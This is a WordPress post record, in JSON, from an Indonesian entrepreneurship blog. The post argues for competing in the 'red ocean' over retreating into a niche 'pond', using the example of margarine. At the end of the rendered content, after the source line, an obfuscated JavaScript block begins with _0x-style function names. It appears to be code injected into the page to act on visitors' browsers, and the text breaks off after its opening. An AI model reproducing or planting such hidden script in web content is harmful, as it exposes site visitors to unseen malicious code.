{"id":6068,"date":"2024-07-03T22:56:15","date_gmt":"2024-07-03T22:56:15","guid":{"rendered":"https:\/\/womanpreneur-community.com\/blog\/?p=6068"},"modified":"2024-07-03T22:56:15","modified_gmt":"2024-07-03T22:56:15","slug":"blue-ocean-red-ocean-atau-kolam","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/blue-ocean-red-ocean-atau-kolam\/","title":{"rendered":"Blue Ocean, Red Ocean, atau Kolam?"},"content":{"rendered":"<p>Strategi Lautan Biru (blue ocean strategy) belakangan ini amat populer. Strategi ini banyak dikutip dan dianjurkan para konsultan bisnis ketika membahas soal diferensiasi usaha.<\/p>\n<p>Biasanya trik yang digunakan banyak perusahaan untuk menciptakan lautan biru mereka adalah dengan mendefenisi ulang bisnis mereka. Yakni mengubahnya menjadi satu kategori baru yang berbeda dari sebelumnya, dengan demikian, produk\/jasa anda menjadi nomor satu dalam kategori baru tersebut. Namun yang tidak disadari, bila anda menempatkan bisnis anda seperti itu, bisa jadi bisnis tersebut hanya akan berada di sebuah kolam, bukan dalam lautan yang potensial.<\/p>\n<p><span style=\"font-weight: 400;\">Di sinilah terlihat kelemahan atau kerugiannya bila anda bermain dalam kolam yang hanya satu kategori, alias tidak punya kompetitor. Pada kenyataannya sebelum memutuskan membeli, konsumen selalu membuat perbandingan antara produk\/jasa yang satu dengan produk\/jasa sejenis yang lain. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Perlu diingat, tujuan utama dari marketing adalah bagaimana supaya produk\/jasa kita bisa menjadi pilihan banyak orang. Bukan dengan cara mendefinisikan ulang produk\/jasa kita sedemikian rupa sehingga malah tidak memiliki kompetitor tapi nyaris tanpa pembeli atau konsumennya amat sedikit.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Apa yang seharusnya kita lakukan?<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Mau tak mau, suka tak suka, kita harus bertempur habis-habisan dalam Lautan Merah (red ocean). Di tempat inilah diperlukan action yang sesungguhnya.<\/span><\/p>\n<p><span style=\"font-weight: 400;\"> Anda harus mampu meyakinkan konsumen bahwa produk\/jasa anda berbeda dan punya kelebihan dibandingkan kompetitor sehingga konsumen memiliki pilihan yang jelas. Bukan asal tampil beda tanpa dasar jelas.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Sebagai ilustrasi, mari kita menilik ke belakang jejak kehadiran margarine. Awalnya, ketika margarine diluncurkan di pasaran diharapkan mampu menciptakan Lautan Biru. Dalam 1 kampanye promonya dikatakan produk ini harganya lebih murah dan lebih sehat dibandingkan mentega. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Namun apa yang terjadi? Masyarakat konsumen justru bingung. Tampang margarine tidak seperti mentega. Setahu masyarakat margarine berwarna putih, sedangkan mentega berwarna kuning. Jadi&nbsp; kedua produk tersebut tak bisa diperbandingkan. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">Alhasil, penjualan margarine gagal. Menyadari kesalahannya, akhirnya produk margarine dimodifikasi. Warnanya dibuat jadi kuning hampir menyamai mentega. Tak terlalu banyak perbedaan antara margarine dan mentega. Kiat ini terbukti berhasil.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Beda dan Unik dan harus punya kelebihan!<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Jangan membuat diferensiasi sekedar hanya untuk tampil beda.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Jangan membuat diferensiasi sekedar hanya untuk mencari perhatian.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Buatlah perbedaan yang menguntungkan konsumen, atau buatlah keunikan untuk memberi nilai tambah bagi konsumen.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Lakukanlah diferensiasi secara konsisten, jangan \u201cmolah-malih.\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Siap bertanya tentang keunikan usaha atau produk anda dengan \u201cSo What Gitu Lho?\u201d Atau \u201cWho Cares?\u201d<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>Sumber: Naskah Lengkap Jalan Jitu WPC<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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